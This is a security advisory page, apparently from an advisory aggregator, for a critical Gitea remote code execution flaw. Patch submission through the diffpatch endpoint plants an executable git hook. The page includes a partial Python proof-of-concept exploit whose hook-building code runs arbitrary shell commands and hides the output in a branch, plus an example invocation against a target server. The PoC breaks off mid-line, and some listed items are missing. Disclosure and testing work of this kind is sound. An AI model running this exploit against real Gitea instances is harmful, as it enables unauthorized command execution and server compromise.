critical

CVE-2026-60004

Go · gitea.dev

Summary

Gitea: Remote Code Execution via diffpatch Git Hook Installation

Severity
critical
CVSS
9.8
EPSS
86.8% (p100)
CWE
CWE-94
Also known as
GHSA-rcr6-4jqh-j84m
Published
2026-09-08
Updated
2026-09-08

Advisory details

Summary

Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.

An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.

Details

services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:

cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")
}

Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.

In a bare clone, the repository root is $GIT_DIR. As a result, an executable entry named:

hooks/post-index-change

becomes a live Git hook.

Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.

The hook's return value is not propagated to the diffpatch response.

The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.

PoC

The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.

Set the account password:

export GITEA_PASSWORD='account-password'

Execute a command through the diffpatch chain:

python3 ./gitea_diffpatch_rce_poc.py \
  https://gitea.example \
  pocuser \
  'id; uname -srm; pwd'

The script:

Expected output resembles:

uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...

[exit-status=0]

The trigger requires:

Open registration is required only for the no-prior-credentials attack path.

Impact

This is remote command execution as the Gitea service account (CWE-94).

Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:

With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.

Screenshot 2026-07-25 at 14 45 44
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""

from __future__ import annotations

import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path

import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile

from typing import Any
import urllib.error
import urllib.parse
import urllib.request


TIMEOUT    = 30.0
USER_AGENT = "gitea-rce-poc/2.0"

_RST  = "\033[0m"
_DIM  = "\033[2m"
_GRN  = "\033[38;5;46m"     # bright green
_RED  = "\033[31m"           # red for errors

def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"

def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok  (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")


_SEP = "  " + "═" * 44
BANNER = f"{_SEP}\n  GITEA  REMOTE CODE EXECUTION  POC\n{_SEP}"

def print_banner(url: str, version: str | None = None,
                 command: str | None = None) -> None:
    print()
    for line in BANNER.splitlines():
        print(_g(line))
    print()
    ver = version or "unknown"
    print(_g("  " + "-" * 54))
    print(_g(f"  Target        : {url}"))
    print(_g(f"  Version       : {ver}"))
    if command:
        print(_g(f"  Command       : {command}"))
    print(_g("  " + "-" * 54))
    print()

class PocError(RuntimeError):
    pass

class GiteaClient:
    def __init__(self, base_url: str, username: str, password: str) -> None:
        parsed = urllib.parse.urlsplit(base_url)
        if parsed.scheme not in {"http", "https"} or not parsed.netloc:
            raise PocError("URL must be an absolute http:// or https:// URL")
        if parsed.query or parsed.fragment:
            raise PocError("URL must not contain a query string or fragment")
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        encoded = base64.b64encode(
            f"{username}:{password}".encode()
        ).decode("ascii")
        self.authorization = f"Basic {encoded}"

    def api(
        self,
        method: str,
        path: str,
        payload: dict[str, Any] | None = None,
    ) -> tuple[int, Any]:
        data = None
        if payload is not None:
            data = json.dumps(payload, separators=(",", ":")).encode()
        req = urllib.request.Request(
            self.base_url + path,
            data=data,
            method=method,
            headers={
                "Accept": "application/json",
                "Authorization": self.authorization,
                "Content-Type": "application/json",
                "User-Agent": USER_AGENT,
            },
        )
        try:
            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
                raw = r.read()
                return r.status, json.loads(raw) if raw else None
        except urllib.error.HTTPError as exc:
            body = exc.read().decode("utf-8", errors="replace")[:2_000]
            raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
        except urllib.error.URLError as exc:
            raise PocError(f"{method} {path} failed: {exc.reason}") from exc
        except json.JSONDecodeError:
            raise PocError(f"{method} {path} returned invalid JSON")

def blob_oid(content: bytes) -> str:
    return hashlib.sha1(
        f"blob {len(content)}\0".encode("ascii") + content
    ).hexdigest()

def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid "
        "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" up

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.